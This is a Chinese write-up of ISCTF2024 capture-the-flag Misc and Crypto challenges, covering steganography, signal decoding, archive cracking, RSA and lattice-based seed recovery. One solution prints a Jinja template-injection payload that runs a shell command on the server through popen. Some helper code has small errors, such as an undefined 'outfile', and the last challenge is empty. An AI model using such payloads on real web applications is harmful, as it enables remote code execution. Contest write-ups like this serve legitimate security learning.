ISCTF2024 - WriteUp

一、Misc

小蓝鲨的签到01

拼图扫码,在蓝鲨公众号发送ISCTF2024即可获得flag

小蓝鲨的签到02

出题人:Shlune

解题过程:

010editor打开后查找ISCTF得到

img

ISCTF{blueshark!_@#2024$%^&*}

数字迷雾:在像素中寻找线索

出题人:Shlune

解题过程:

根据题目关键词“像素”,“色彩”等

先提取图像每个像素红色通道的LSB,再将提取出的二进制数据转换为字符串。

img

脚本:

from PIL import Image

def extract_LSB_from_image(image_path):
    img = Image.open(image_path)
    binary_data = ""
    for y in range(img.size[1]):
        for x in range(img.size[0]):
            r, g, b = img.getpixel((x, y))
            binary_data += bin(r)[-1]  # 获取红色通道的LSB
    return binary_data

binary_data = extract_LSB_from_image("output.png")
def binary_to_string(binary_data):
    n = 8
    return ''.join(chr(int(binary_data[i:i+n], 2)) for i in range(0, len(binary_data), n))

flag = binary_to_string(binary_data)
print(flag)

ISCTF{+9qn1DKdun!glAK}

少女的秘密花园

出题人:Shlune

解题过程:

解压题目附件得到一张图片,使用binwalk查看发现藏了个base_misc文件

img

使用foremost分离出来

img

查看base_misc的文件头为504B0304,是压缩包

img

发现压缩包被加密了

img

爆破得到密码040714

img

解压出来得到base64的一串数据,先尝试解一部分发现是png

img

使用在线网站转成图片https://www.lddgo.net/convert/imagebasesix

img

得到一张高度残缺的图

img

010里改高一点就行,或者crc爆破出来原始的

img

得到完整密文图片

img

这里就靠脑洞了,每个子块是2*3的长方形,对应盲文

网上找到盲文对照表

img

由于只有两种区分,蓝色为字母,红色为数字,且最后三个是一样的,故有可能为base32(仅有大写字母,数字,及等号)

对照手搓出来

img

最后,base32解密得到flag

img

ISCTF{C0me_0n_fr35hm3n}

赢!rar

出题人:秋雨样

解题过程:

预期解:

考点:UUencode、XXencode、NTFS流隐写

根据题目名称,可以猜测使用win rar软件打开,这是由于只有winrar会保存NTFS信息

img

解压的时候发现需要密码,在注解中可以发现

img

随便打开一个文件

3Z+^9Z8>,YK*AYIR)9FQA9^63I@

可以发现它的编码表与base64相似,但是有很多特殊字符,猜测可能是UUencode

在线工具解密即可

http://www.hiencode.com/uu.html

img

如果你有耐心的话会发现全部都是这个

这里留了一个提示,有一个文件的修改日期与其他的不同,但是点开之后依然是上面那段

img

再结合winrar猜测是NTFS隐写,使用labs检测

下载链接

https://cdisk.imxbt.cn/api/v3/file/download/5D2TiHSUJurze05N?sign=03FOLoIHLa0jyyc-KqG34YsE_M62gUpKog0kd14F6G0%3D%3A1730887158

lads.exe /S

img

再用notepad打开即可

img

可以发现它的编码表与base64相似,猜测可能是XXencode解密即可

img

非预期解:

现在用360压缩和7-zip打开压缩包可以直接看到ntfs隐写,无敌了360压缩

游园地1

出题人:guoql

解题过程:

1这个就是个简单的图寻

百度识图就出了

随便点进去就能找到是武汉中山公园

img

img

游园地2

出题人:guoql

解题过程:

well,首先要说的是,其实图寻1也是圣地巡礼的一部分()

这个中山公园啊,包是三色绘恋的圣地巡礼的()

这题其实用对工具就能秒,不过本意是让大伙放松放松,也没出太难

不过还是被谷歌地图非预期搜出来了(还得是谷歌)

地点是菱角湖公园的附近

地址是鸣笛1988商业街

至于游戏嘛,肯定是恋爱绮谭了。

来自天外的信息

出题人:deoplljj

解题过程:

signal.7z里面就一个文件,根据题面以及文件名signal的提示,这应当是一个原始的信号文件,文件名中包含一些信息:

fm-complex64-sample_rate-320khz-dec_ratio-20_1
 |------|----------|-----------------|---------调制类型
        |----------|-----------------|---------信号数据类型
                   |-----------------|---------采样率
                                     |---------抽取率                                   

Step 1 - FM调制解调

由以上分析可知,这是一个以complex64格式存储,经过FM调制后的原始信号文件,采样率是320KHz,抽取率是原始信号与实际有效信号之比,为20:1。

方法一:Gqrx

以文件的方式定义输入,根据已知参数填写以下信息:

其中Device string一栏:

file=fm-complex64-sample_rate-320khz-dec_ratio-20_1,freq=100000000000,rate=320000

img

img

Receiver Options里面的Mode选Narrow FM,即可听到FM解调后的声音

右下角点Rec即可录制为.wav文件,但是需要注意需要录制上开头。

方法二:GNU Radio解调

按照如下流程图,填入已知参数:

img

需要注意一下的是,Audio Rate是降采样后的频率,Quadrature Rate才是信号的原始频率,由于抽取率是20:1,因此音频的频率是320/20=16kHz

方法三:py手撕FM

import numpy as np
from scipy.signal import decimate
from scipy.io.wavfile import write

# 读取complex64格式的信号文件
signal = np.fromfile('fm-complex64-sample_rate-320khz-dec_ratio-20_1', dtype=np.complex64)

# 解调FM信号
phase = np.angle(signal)
phase_diff = np.unwrap(phase[1:] - phase[:-1])
audio_signal = np.diff(phase_diff)

# 降采样到16kHz(抽取率是20:1)
downsampled_audio = decimate(audio_signal, 20)

# 应用增益
gain = 30.0  # 增益因子,调整这个值来提高音量
amplified_audio = downsampled_audio * gain

# 归一化
max_amplitude = np.max(np.abs(amplified_audio))
if max_amplitude > 1.0:
    amplified_audio /= max_amplitude  # 归一化到[-1, 1]

# 保存为WAV文件
write('output_audio.wav', 16000, amplified_audio.astype(np.float32))

Step 2 - SSTV

上一步最终都会得到一个音频文件,试听信号以及结合题面信息,通过网上有关搜索可知,这是一段SSTV信号,SSTV解调的软件有非常多,随意选用一个即可。

如果解调出来的图像非常脏(如下图所示),可能有两种情况:一是使用了扬声器-话筒来传输SSTV音频,噪声会导致图像失真;二是上一步解调没做好,本题正确解析出来的图片是比较清晰的。

img

正确解调后的图片应当如下:

img

Step 3 - 二维码修复

图中四个二维码碎片利用画图软件或者PS按照原有顺序合并在一起(注意缩放对齐),space单词的右边很贴心的给出了这个二维码的定位块,补上即可

img

扫描后即为flag:

ISCTF{Th3_ROmaNtic_Of_Rad1o}

秘密

出题人:CrispSheep

解题过程:

下载得到一个zip压缩包,解压提示要密码

img

先拖到010查看是不是伪加密,查看到是伪加密把09修改成00

img

img

保存后成功解压出图片,我们观察到图标下面有一条红色的线而且右边有一个红色突起的块,可以推测图片内的数据被修改过了,而且题目反复强调我们的秘密,这里考察的是OurSecret文件隐藏, OurSecret提取隐藏文件的时候是需要密码的,在图片数据中我们可以找到密码

img

输入密码后可以得到一个txt文本

img

这里考察的是零宽隐写,Ctrl+A选中是215个字符,鼠标选中是209,有不可打印/不可见的字符,想到零宽隐写

得到flag

img

像素圣战

出题人:CrispSheep

解题过程:

考察的PixelJihad隐写,信息提取,二进制转字符

Pixel是像素的意思,Jihad是圣战,我最后放hint不要总把解题思路局限在题目本身,题目的名字,图片的状态这些都是蕴含的信息。

下载附件解压出来,发现图片是倒着的,题目的名字就是隐写的名字,PixelJihad隐写是需要密码的,密码就是描述里的ISCTF,输入密码后得到一串二进制

img

我们可以发现这里只有182个字符

img

直接二进制转字符是乱码,这里要记得图片是倒着的,需要把得到的二进制数据反转一下,同时正常的二进制转字符是8位一个字符,但182很明显不是8的倍数,但是符合7位的,可以在每七个前加个0,或者直接用CyberChef,byte length修改成7,得到flag

img

奇怪的txt

出题人:

解题过程:

根据提示,搜索可以知道这是约瑟夫斯算法,137个数字排成一个圈,每次点到7的时候就出列,直到最后一个数字排完,那根据给出的137个txt,不难想到是要把这些字符串按照一个顺序去组合排序。那先编写约瑟夫斯算法把这个顺序算出来。算法如下:

#include<bits/stdc++.h>
using namespace std;
int a[150]={0};   
int main()
{
        int N,M;
        int cnt=0,i=0,k=0; 
        cin>>N>>M;   
        while(cnt!=N) 
        {
                i++;   
                if(i>N) i=1;  
                              
                if(a[i]==0)    
                {
                        k++;
                        if(k==M)      
                        {
                                a[i]=1;   
                                cnt++;   
                                cout<<i<<" ";  
                                k=0;     
                        }
                }
        }
        return 0;
} 

得到序列:

7 14 21 28 35 42 49 56 63 70 77 84 91 98 105 112 119 126 133 3 11 19 27 36 44 52 60 68 76 85 93 101 109 117 125 134 5 15 24 33 43 53 62 72 81 90 100 110 120 129 1 12 23 34 46 57 67 79 89 102 113 123 135 9 22 37 48 61 74 87 99 114 127 2 17 31 47 64 78 94 107 122 137 18 38 54 71 88 106 124 6 26 45 66 86 108 130 13 39 59 83 111 132 25 51 80 104 136 30 65 96 128 29 69 103 8 50 95 4 55 115 20 82 10 75 16 97 41 131 118 116 121 40 92 32 58 73

按照这个序列提取txt的字符进行合并:

import os
# 设置文件夹路径和输出文件路径
folder_path = ("奇怪的txt")
output_file_path = "output_file.txt"

# 给定字典,包含文件名和对应的数字顺序
file_order = {
"7.txt": 1 ,
"14.txt": 2 ,
"21.txt": 3 ,
"28.txt": 4 ,
"35.txt": 5 ,
"42.txt": 6 ,
"49.txt": 7 ,
"56.txt": 8 ,
"63.txt": 9 ,
"70.txt": 10 ,
"77.txt": 11 ,
"84.txt": 12 ,
"91.txt": 13 ,
"98.txt": 14 ,
"105.txt": 15 ,
"112.txt": 16 ,
"119.txt": 17 ,
"126.txt": 18 ,
"133.txt": 19 ,
"3.txt": 20 ,
"11.txt": 21 ,
"19.txt": 22 ,
"27.txt": 23 ,
"36.txt": 24 ,
"44.txt": 25 ,
"52.txt": 26 ,
"60.txt": 27 ,
"68.txt": 28 ,
"76.txt": 29 ,
"85.txt": 30 ,
"93.txt": 31 ,
"101.txt": 32 ,
"109.txt": 33 ,
"117.txt": 34 ,
"125.txt": 35 ,
"134.txt": 36 ,
"5.txt": 37 ,
"15.txt": 38 ,
"24.txt": 39 ,
"33.txt": 40 ,
"43.txt": 41 ,
"53.txt": 42 ,
"62.txt": 43 ,
"72.txt": 44 ,
"81.txt": 45 ,
"90.txt": 46 ,
"100.txt": 47 ,
"110.txt": 48 ,
"120.txt": 49 ,
"129.txt": 50 ,
"1.txt": 51 ,
"12.txt": 52 ,
"23.txt": 53 ,
"34.txt": 54 ,
"46.txt": 55 ,
"57.txt": 56 ,
"67.txt": 57 ,
"79.txt": 58 ,
"89.txt": 59 ,
"102.txt": 60 ,
"113.txt": 61 ,
"123.txt": 62 ,
"135.txt": 63 ,
"9.txt": 64 ,
"22.txt": 65 ,
"37.txt": 66 ,
"48.txt": 67 ,
"61.txt": 68 ,
"74.txt": 69 ,
"87.txt": 70 ,
"99.txt": 71 ,
"114.txt": 72 ,
"127.txt": 73 ,
"2.txt": 74 ,
"17.txt": 75 ,
"31.txt": 76 ,
"47.txt": 77 ,
"64.txt": 78 ,
"78.txt": 79 ,
"94.txt": 80 ,
"107.txt": 81 ,
"122.txt": 82 ,
"137.txt": 83 ,
"18.txt": 84 ,
"38.txt": 85 ,
"54.txt": 86 ,
"71.txt": 87 ,
"88.txt": 88 ,
"106.txt": 89 ,
"124.txt": 90 ,
"6.txt": 91 ,
"26.txt": 92 ,
"45.txt": 93 ,
"66.txt": 94 ,
"86.txt": 95 ,
"108.txt": 96 ,
"130.txt": 97 ,
"13.txt": 98 ,
"39.txt": 99 ,
"59.txt": 100 ,
"83.txt": 101 ,
"111.txt": 102 ,
"132.txt": 103 ,
"25.txt": 104 ,
"51.txt": 105 ,
"80.txt": 106 ,
"104.txt": 107 ,
"136.txt": 108 ,
"30.txt": 109 ,
"65.txt": 110 ,
"96.txt": 111 ,
"128.txt": 112 ,
"29.txt": 113 ,
"69.txt": 114 ,
"103.txt": 115 ,
"8.txt": 116 ,
"50.txt": 117 ,
"95.txt": 118 ,
"4.txt": 119 ,
"55.txt": 120 ,
"115.txt": 121 ,
"20.txt": 122 ,
"82.txt": 123 ,
"10.txt": 124 ,
"75.txt": 125 ,
"16.txt": 126 ,
"97.txt": 127 ,
"41.txt": 128 ,
"131.txt": 129 ,
"118.txt": 130 ,
"116.txt": 131 ,
"121.txt": 132 ,
"40.txt": 133 ,
"92.txt": 134 ,
"32.txt": 135 ,
"58.txt": 136 ,
"73.txt": 137 ,}

# 对字典进行排序,根据数字顺序
sorted_files = sorted(file_order.items(), key=lambda x: x[1])

# 打开输出文件,准备写入
with open(output_file_path, "w") as output_file:
    # 遍历排序后的字典
    for file_name, _ in sorted_files:
        # 构建完整的文件路径
        file_path = os.path.join(folder_path, file_name)
        # 确保是 txt 文件
        if file_path.endswith(".txt"):
            # 打开文件并读取内容
            with open(file_path, "r") as file:
                content = file.read()
                # 将内容写入输出文件
                output_file.write(content)

# 输出文件已创建,内容已合并

得到字符串后base64爆破一下就能得到flag

import base64
Sstr=''
with open('output_file.txt', 'r', encoding='UTF-8') as f:
    Sstr="".join(f.readlines()).encode('utf-8')
src=Sstr
while True:
    try:
        src=Sstr
        Sstr=base64.b64decode(Sstr)
        str(Sstr,'utf-8')
        continue
    except:
        pass
    break
with open('result.txt','w', encoding='utf-8') as file:
    file.write(str(src,'utf-8'))
print('ok')

#   ISCTF{@!98sw-&^si92-2$#334-2024!!}

Starry Sky

拿到附件首先分析

img

一个加密后的字符串,是flag,一个名字为xor的文件,猜测是某个文件经过xor处理后的结果,一张图片。

用010Editor打开图片,是base64编码后的内容,直接拿去base64解码。

img

直接拉到文件末尾,找到xorkey:FF,对文件整体进行xor FF操作。

看文件头,发现是wav文件,添加拓展名。

img

直接听,再结合题目描述推测出是SSTV音频,直接解码音频。

img

拿到DESKey直接解des即可。

img

File_Format

出题人:Ten

解题过程:

得到flag文件后,使用十六进制编辑器查看其结构

img

很明显就可以判断出这是一个.exe文件,改一下后缀

img

这里exe的标题其实就已经给出了压缩包的软件名,这个exe文件其实也就是当你的电脑中没有这个压缩包软件时,也可以直接提取文件

img

但是可以发现如果直接提取是需要密码的,密码也不是常见的弱口令,那就只能进行爆破了。

exe文件肯定是不能直接爆破的,不过现在已经知道这是什么压缩包软件压缩的,可以自行安装一下这个软件,然后随便压缩一个文件,看其文件结构

img

然后对照其特征,可以发现在exe文件的末尾,就有压缩包的痕迹

img

至于爆破软件,可以使用hashcat或者ARCHPR,而且ARCHPR软件一打开其实就可以看见,此软件也是可以爆破ace压缩包

img

至于怎么爆破,exe文件直接拖进去,ARCHPR可以直接识别到里面的ace压缩包然后进行爆破

img

得到密码241023

img

ISCTF{WinACE_is_Easy_Subject_0v0}

总得来说这题其实很简单,考点无非就是考你们遇到未知文件的情况下该如何去进行文件结构的判断,包括对压缩包软件的了解

神秘ping

出题人:oSthing

解题过程:

拖到010看发现是一个倒转的流量包文件,写个脚本恢复一下

def reverse_file_bytes(input_file, output_file):
    try:
        with open(input_file, 'rb') as f:
            file_bytes = f.read()
        reversed_bytes = file_bytes[::-1]
        with open(output_file, 'wb') as f:
            f.write(reversed_bytes)

恢复出来根据题目的提示,主要看ping的流量

过滤出来icmp协议

发现其中的ttl值分别有63、64、127、191、255组成,根据其他流量分析,发现ttl为64的值是是返回的信息,和隐写没有什么关系,我们用tshark提取ttl隐写值

tshark -r ping.pcap -Y "icmp" -T fields -e ip.ttl > ttl.txt

剔除掉64,留下来的就是我们需要的ttl值了,我们把这4个数字转成2进制对比一下

00111111        63
01111111        127
10111111        191
11111111        155

很明显的ttl隐写,写一个脚本提取隐写信息

ttl_to_binary = {
    63: '00',
    127: '01',
    191: '10',
    255: '11'
}

ttl_values = [127,63,127,63,127,63,63,127,127,127,63,255,127,63,63,255,127,127,127,63,127,63,127,191,127,255,191,255,63,255,127,191,63,255,63,191,63,255,127,255,63,255,191,63,63,255,127,63,63,255,191,63,127,191,63,255,63,255,63,63,63,191,255,127,63,255,127,255,63,255,127,127,63,255,191,127,127,191,63,255,63,191,255,127,63,255,63,127,63,255,63,127,127,191,127,127,127,191,127,191,63,191,255,127,63,255,191,127,63,255,191,127,63,255,191,127,127,191,127,191,63,191,255,127,63,255,63,63,63,255,63,63,63,255,63,63,127,191,63,255,63,255,63,191,63,255,191,127,63,255,63,63,127,191,63,255,63,255,63,127,63,255,191,127,63,255,127,191,127,191,127,127,127,255,255,127]  # 示例 TTL 列表

def ttl_to_binary_string(ttl_values):
    binary_string = ''
    for ttl in ttl_values:
        if ttl in ttl_to_binary:
            binary_string += ttl_to_binary[ttl]
    return binary_string

def binary_to_string(binary_string):
    chars = []
    for i in range(0, len(binary_string), 8):
        byte = binary_string[i:i+8]
        chars.append(chr(int(byte, 2)))
    return ''.join(chars)

binary_data = ttl_to_binary_string(ttl_values)
print(f"bin: {binary_data}")

decoded_message = binary_to_string(binary_data)
print(f"msg: {decoded_message}")

神秘的wav

出题人:oSthing

解题过程:

题目给了一个文件上传的页面,既然是misc题就先不考虑文件上传,题目让我们上传一个wav文件,题目同时给了一个wav文件,所以我们用题目的wav传上去看一下

返回一串base64编码

L3NvdXJjZQ==

解码一下得到

/source

访问之后得到源码

from flask import Flask, request, render_template, send_file, render_template_string
import wave
import os

app = Flask(__name__)

UPLOAD_FOLDER = 'uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
os.makedirs(UPLOAD_FOLDER, exist_ok=True)

def ext(inp):
    '''
    希望你能自己搓出脚本
    '''
    with wave.open(inp, 'rb') as wav:
        frames = wav.readframes(wav.getnframes())
    frames_array = bytearray(frames)
    message_bits = [str((frames_array[i] & 2) >> 1) for i in range(len(frames_array))]
    message = ''
    for i in range(0, len(message_bits), 8):
        byte = message_bits[i:i+8]
        char = chr(int(''.join(byte), 2))
        if char == '\x00':
            break
        message += char
    return message

@app.route('/', methods=['GET', 'POST'])
def upload_file():
    '''
    一位misc手在各个方向都要有所了解
    '''
    if request.method == 'POST':
        file = request.files['file']
        if file and file.filename.endswith('.wav'):
            filepath = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
            file.save(filepath)
            message = ext(filepath)
            return render_template_string(message)
        else:
            return render_template_string("pls upload wav")
    return render_template('upload.html')

@app.route('/source', methods=['GET'])
def get_source():
    return send_file('app.py')

if __name__ == '__main__':
    app.run(debug=True)

知道了wav的解析方式,同时看到了回显的路由是直接用render_template_string打印的,存在ssti,但是没有做任何过滤,随便找一个payload就能打通,那么我们重点就是要手动根据wav解密脚本编写加密脚本了

def hide_msg(inp, out, msg):
    with wave.open(inp, 'rb') as wav:
        params = wav.getparams()
        frames = wav.readframes(wav.getnframes())
    msg_bin = ''.join(format(ord(char), '08b') for char in msg)
    msg_bin += '00000000'
    frames_array = bytearray(frames)
    for i in range(len(msg_bin)):
        frames_array[i] = (frames_array[i] & 253) | (int(msg_bin[i]) << 1)

    with wave.open(out, 'wb') as out:
        outfile.setparams(params)
        outfile.writeframes(frames_array)

任何网上抄一个ssti的payload就能打通获得flag

这里简单给一个

def hide_msg(inp, out, msg):
    with wave.open(inp, 'rb') as wav:
        params = wav.getparams()
        frames = wav.readframes(wav.getnframes())
    msg_bin = ''.join(format(ord(char), '08b') for char in msg)
    msg_bin += '00000000'
    frames_array = bytearray(frames)
    for i in range(len(msg_bin)):
        frames_array[i] = (frames_array[i] & 253) | (int(msg_bin[i]) << 1)

    with wave.open(out, 'wb') as out:
        outfile.setparams(params)
        outfile.writeframes(frames_array)
hide_msg("inp.wav","out.wav","{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('cat /f*').read()%}{%endif%}{%endfor%}")

老八奇怪自拍照

出题人:Qjzhalx

解题过程:

打开题目,发现图片色素有问题,大概率是LSB。

去stegsolve查看

发现RGB差异大

应该是LSB加密,但是

img

这样0 0 0并没有什么有效信息,看题目描述温水对老八说,521

说明是5 2 1,再试一试。

发现是PK

img

直接提取出来

压缩包里面是jpg文件,利用exif工具看到详细信息,发现arist里面有

img

有个东西,应该是个密码1ScTf2024!

题目描述中隐藏的东西都给你,隐藏的东西,隐藏是hide,想到了steghide。用steghide解出来一个txt。

steghide extract -sf 11.jpg -p 1ScTf2024!

img

txt里面就是flag

ISCTF{St4gs0lve_Rbg_S4eGh1de_H1de!!!}

watermark

出题人:tanyu

解题过程:

题目不是很难,基本可以梭

key1为文字水印,并非零宽,搜索在线网站可解

img

key2为单图片盲水印,PuzzleSolver可一把梭,水印WaterMark也可

img

key:FAAqDPjpgKJiB6m64oRvUfta9yJsBv

Ctrl + F搜索**ISCTF{**即可

img

ISCTF{Watermark_is_used_2_protect%digital*assets}

二、Crypto

ChaCha20-Poly1305

出题人:Shlune

解题过程:

如题,ChaCha20-Poly1305加密算法,加密脚本中已经给出关键信息,直接写出解密脚本即可

附件中的key没什么用,用自己输出的key.txt就行

img

from Crypto.Cipher import ChaCha20_Poly1305

# 从加密脚本中获取的值
ct_hex = '20408b9fc498063ad53a4abb53633a6a15df0ddaf173012d620fa33001794dbb8c038920273464e13170e26d08923aeb'  # 加密后的flag,替换为实际值
tag_hex = '70ffcc508bf4519e7616f602123c307b'  # tag,替换为实际值
nonce_hex = 'd8ebeedec812a6d71240cc50'  # nonce,替换为实际值
key_hex = '173974535637a5ef30a116b03d00bd2fe751951ca3eaa62daec2b8f5ca5b6135'  # 从key.txt文件中读取的密钥,替换为实际值

# 将十六进制字符串转换为字节
ctbytes = bytes.fromhex(ct_hex)
tagbytes = bytes.fromhex(tag_hex)
noncebytes = bytes.fromhex(nonce_hex)
keybytes = bytes.fromhex(key_hex)

# 创建ChaCha20和Poly1305解密器实例
cipher = ChaCha20_Poly1305.new(key=keybytes, nonce=noncebytes)

# 尝试解密数据
try:
    ptbytes = cipher.decrypt_and_verify(ctbytes, tagbytes)
    print(f"Decrypted Flag: {ptbytes.decode('utf-8')}")
except ValueError as e:
    print(f"Decryption failed: {e}")

ISCTF{Blueshark_Swims_Through_ChaCha20_Poly1305}

蓝鲨的费马

出题人:gggg7

解题过程:

已知leak = (d+pow(p,q,n)+pow(q,p,n))%n,根据题目名称给出的提示,利用费马小定理

img

可以得到p^q%n=p,q^p%n=q。所以leak=(d+p+q)%n

再次根据欧拉定理:c^phi%n=1

c^[n+1-(p+q)]%n=1

c^(n+1)%n=c^(p+q)%n

因为m=c^d%n

所以c^[leak-(p+q)]%n=m

c^[leak-(n+1)]%n=m

from Crypto.Util.number import *
import gmpy2

c= 8989289659072309605793417141528767265266446236550650613514493589798432446586991233583435051268377555448062724563967695425657559568596372723980081067589103919296476501677424322525079257328042851349095575718347302884996529329066703597604694781627113384086536158793653551546025090807063130353950841148535682974762381044510423210397947080397718080033363000599995100765708244828566873128882878164321817156170983773105693537799111546309755235573342169431295776881832991533489235535981382958295960435126843833532716436804949502318851112378495533302256759494573250596802016112398817816155228378089079806308296705261876583997
n= 13424018200035368603483071894166480724482952594135293395398366121467209427078817227870501294732149372214083432516059795712917132804111155585926502759533393295089100965059106772393520277313184519450478832376508528256865861027444446718552169503579478134286009893965458507369983396982525906466073384013443851551139147777507283791250268462136554061959016630318688169168797939873600493494258467352326974238472394214986505312411729432927489878418792288365594455065912126527908319239444514857325441614280498882524432151918146061570116187524918358453036228204087993064505391742062288050068745930452767100091519798860487150247
leak= 9192002086528025412361053058922669469031188193149143635074798633855112230489479254740324032262690315813650428270911079121913869290893574897752990491429582640499542165616254566396564016734157323265631446079744216458719690853526969359930225042993006404843355356540487296896949431969541367144841985153231095140361069256753593550199420993461786814074270171257117410848796614931926182811404655619662690700351986753661502438299236428991412206196135090756862851230228396476709412020941670878645924203989895008014836619321109848938770269989596541278600166088022166386213646074764712810133558692545401032391239330088256431881

e=0x10001

m=pow(c,leak-n-1,n)
print(long_to_bytes(m).decode('utf-8'))

ISCTF{u_got_it}

ezmath

出题人:guoql

解题过程:

修复代码

img

这两个函数一个是求和,一个是求极限,用到了非常简单的装饰器的用法。

先传入进去参数,然后在传入进去极限的值,也就是start之类的,也就是前n-1个在计算时是常数,最后一个是变量。对这个变量积分或者求极限。这个求极限的pos就是求左极限还是右极限,当然对于默认的无穷来说,左极限显然等于右极限。

def sumFunc(func):
    def wapper(*args,start = 1,end=INF):
        sums = 0
        for i in trange(start, 0xffff * end):
            sums += function(*args,j/0xf) * (1/0xf)
        return sums
    return wapper

def limitFunc(func):
    def wapper(*args, approch = bigINF, pos = "+"):
        o = 1/bigINF
        return function(args, eval(f"{approch} {pos} {o}"))
    return wapper

首先是第一个的错误

1、for循环应该是range而不是trange(请先忘掉tqdm)(line 4)

2、循环变量应该是i而不是j(line 5)

然后是第二个的错误

1、传入进来的是func,而不是function(line 12)

2、args应该解引用(line 12)

修复后的代码

def sumFunc(func):
    def wapper(*args,start = 1,end=INF):
        sums = 0
        for i in range(start, 0xffff * end):
            sums += func(*args,i/0xf) * (1/0xf)
        return sums
    return wapper

def limitFunc(func):
    def wapper(*args, approch = bigINF, pos = "+"):
        o = 1/bigINF
        return func(*args, eval(f"{approch} {pos} {o}"))
    return wapper

其实修不修影响并不大,毕竟如果修了程序直接跑出flag岂不是成签到了)

修只是为了能跑)

接下来其实就是高数)

首先这个magicNumber其实就是自然常数e

而limitFunc的默认是趋向于正无穷的,也就是

lim⁡t→+∞(1+1t)t=e\lim_{t \to +\infty}(1+\frac{1}{t})^t = e

就是个重要极限

第二个可能比较难以看出来,我们先写出来

f(x)=∫0+∞tx−1e−tdtf(x) = \int^{+\infty}_{0}t^{x-1}e^{-t} dt

如果你注意力惊人的话,是可以注意到这玩意儿其实就是阶乘函数的解析延拓,什么是解析延拓,简单来说就是将定义域拓宽,本身的阶乘只能是整数,现在我们可以让他取实数了。(注意力不惊人的话,可以去找attention is all you need的,那个注意力比较惊人(人话:GPT))

img

因此,这个函数有以下性质

f(x+1)=xf(x)f(x+1) = xf(x)

f(1−x)f(x)=πsinπx,x∈(0,1)f(1-x)f(x)=\frac{\pi}{sin\pi x},x \in (0,1)

因此,可以让x=0.5

f(12)=πf(\frac{1}{2}) = \sqrt{\pi}

那我们题中的(这个符号就是大写的gamma(伽马),用来替代了上面的f罢了)

Γ(52)=32Γ(32)=34Γ(12)=34π\Gamma(\frac{5}{2}) = \frac{3}{2}\Gamma(\frac{3}{2}) = \frac{3}{4}\Gamma(\frac{1}{2})=\frac{3}{4}\sqrt{\pi}

Γ(32)=12Γ(12)=π2\Gamma(\frac{3}{2})=\frac{1}{2}\Gamma(\frac{1}{2}) = \frac{\sqrt{\pi}}{2}

然后就是common了

这个其实也很常见,写出来就知道了

∫0+∞e−t2dt\int_{0}^{+\infty}e^{-t^2}dt

包是高斯积分的。

这个证法真的太多太多了,总之,我们有他的反常积分

∫−∞+∞et2dt=π\int_{-\infty}^{+\infty}e^{t^2}dt = \sqrt{\pi}

被积函数是个偶函数,因此有

∫0+∞e−t2dt=π2\int_{0}^{+\infty}e^{-t^2}dt = \frac{\sqrt{\pi}}{2}

正好是gamma(3/2)的值

验证了我们几个函数的正确性。

那么只要计算gamma(5/2)就行了,前边我们已经计算过他的值了。

from math import sqrt,pi
from hashlib import md5
import random

key = int(str(3*sqrt(pi)/4)[2:])
print(key)
random.seed(key)
print(md5(str(random.getrandbits(256)).encode('utf-8')).hexdigest())

img

逃跑的HIM

出题人:guoql

解题过程:

先放出来本章灵感来源,事实上也就是完全照着这个就能复现出来。。。

https://github.com/spawnmason/randar-explanation

简单说一下思路,不用代码审计就了(其实ai审计也能找到答案,乐)

我自己实现了一套java的那堆随机数(包括命名也是java的那一套,Random随机数则是我直接翻java的源代码照抄的,乐)

主要的main里边就是HIM会设置两个在-23440 到23440的随机数,分别为X,Z

我们的目标就是恢复这两个随机数

恢复5次即可。

主要是考察了代码审计,格基规约,线性同余发生器破解相关的内容。(当然硬说来点pwntools也确实有)

本来想套层二维码给X,Z,然后还要读二维码,一方面时间不足,另一方面也没必要硬套了感觉,就没上。

其实大部分文章都有讲,这里就主要是代码审计之后找到漏洞然后恢复就行了。逻辑还是比较明显的,就看会不会破解了(乐

如果复现有问题联系我(建议先仔细读读上边那个文章)

大致就这样。。。

需要给sagemath装上pwntools然后就能跑了

from pwn import *


sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
rl = lambda : p.recvline()
it = lambda : p.interactive()

ip = ''
port = 0

p = remote(ip , port)
# p = remote("127.0.0.1", 8888)
sla("请输入用户名: ",b"guoql")
sla("=>请选择:",b"start")
for _ in range(5):
        sla("输入yes投币开始:",b"yes")
        sla("请选择:","2")
        sla("请输入想要挖掘的方块坐标(例: (1,1,1) ):",b"(1,1,1)")
        data = rl().decode('utf-8')
        blockX,blockY,blockZ = tuple([float("0." + i.split(".")[1]) for i in data.split("Block drop in ")[1][:-1][1:-1].split(", ")])
        print(data,blockX,blockY,blockZ)
        randX = round(2 * 2**24 * (blockX - 0.25))
        randY = round(2 * 2**24 * (blockY - 0.25))
        randZ = round(2 * 2**24 * (blockZ - 0.25))
        # 获取低24位数据
        print(f"{randX},{randY},{randZ}")
        # 格基规约得到原始seed
        def crack(a0,b0,c0):
            a=25214903917
            b=11
            c=281474976710656
            a1 = a0 * 2**24 + 2**23
            b1 = b0 * 2**24 + 2**23
            c1 = c0 * 2**24 + 2**23
            v = vector([a1,b1 - b,c1 - b - a*b])

            matex = matrix.zero(3)
            matex[0] = [1,a,a*a]
            matex[1] = [0,c,0]
            matex[2] = [0,0,c]
            lattice = matex.LLL()
            base = lattice.transpose().inverse()
            result = base*v

            final = vector([round(RDF(i)) for i in result])

            solved = lattice.transpose() * final
            return solved

        seed = int(crack(randX, randY, randZ)[0])
        # LCG线性同余求解出来上一个seed
        old_seed = ((seed - 11 ) * 246154705703781) % 2**48
        HIM_seed = old_seed ^^ 0x5DEECE66D
        print(old_seed,HIM_seed)
        world_seed = 14617218721232814696
        # input()
        # 寻找x,z需要满足在-23440 到 23400 的范围内
        for x in range(-23440, 23441):
                z = ((HIM_seed - world_seed - 10387319 - x * 341873128712 ) * 211541297333629 ) % 2**48
                if z >= 2**48 + -23440 :
                        z = z - 2**48
                        print(f"x,z found:{x},{z}")
                        break
                if z <= 23440:
                        print(f"x,z found:{x},{z}")
                        break
                

        sla("请选择:", b"1")
        sla("请输入HIM所在区块的坐标(例: (10,-25) ):", f"({x},{z})".encode('utf-8'))
        print(rl().decode('utf-8'))
print(rl().decode('utf-8'))
# it()

小蓝鲨的数学题

出题人:w1lling

解题过程:

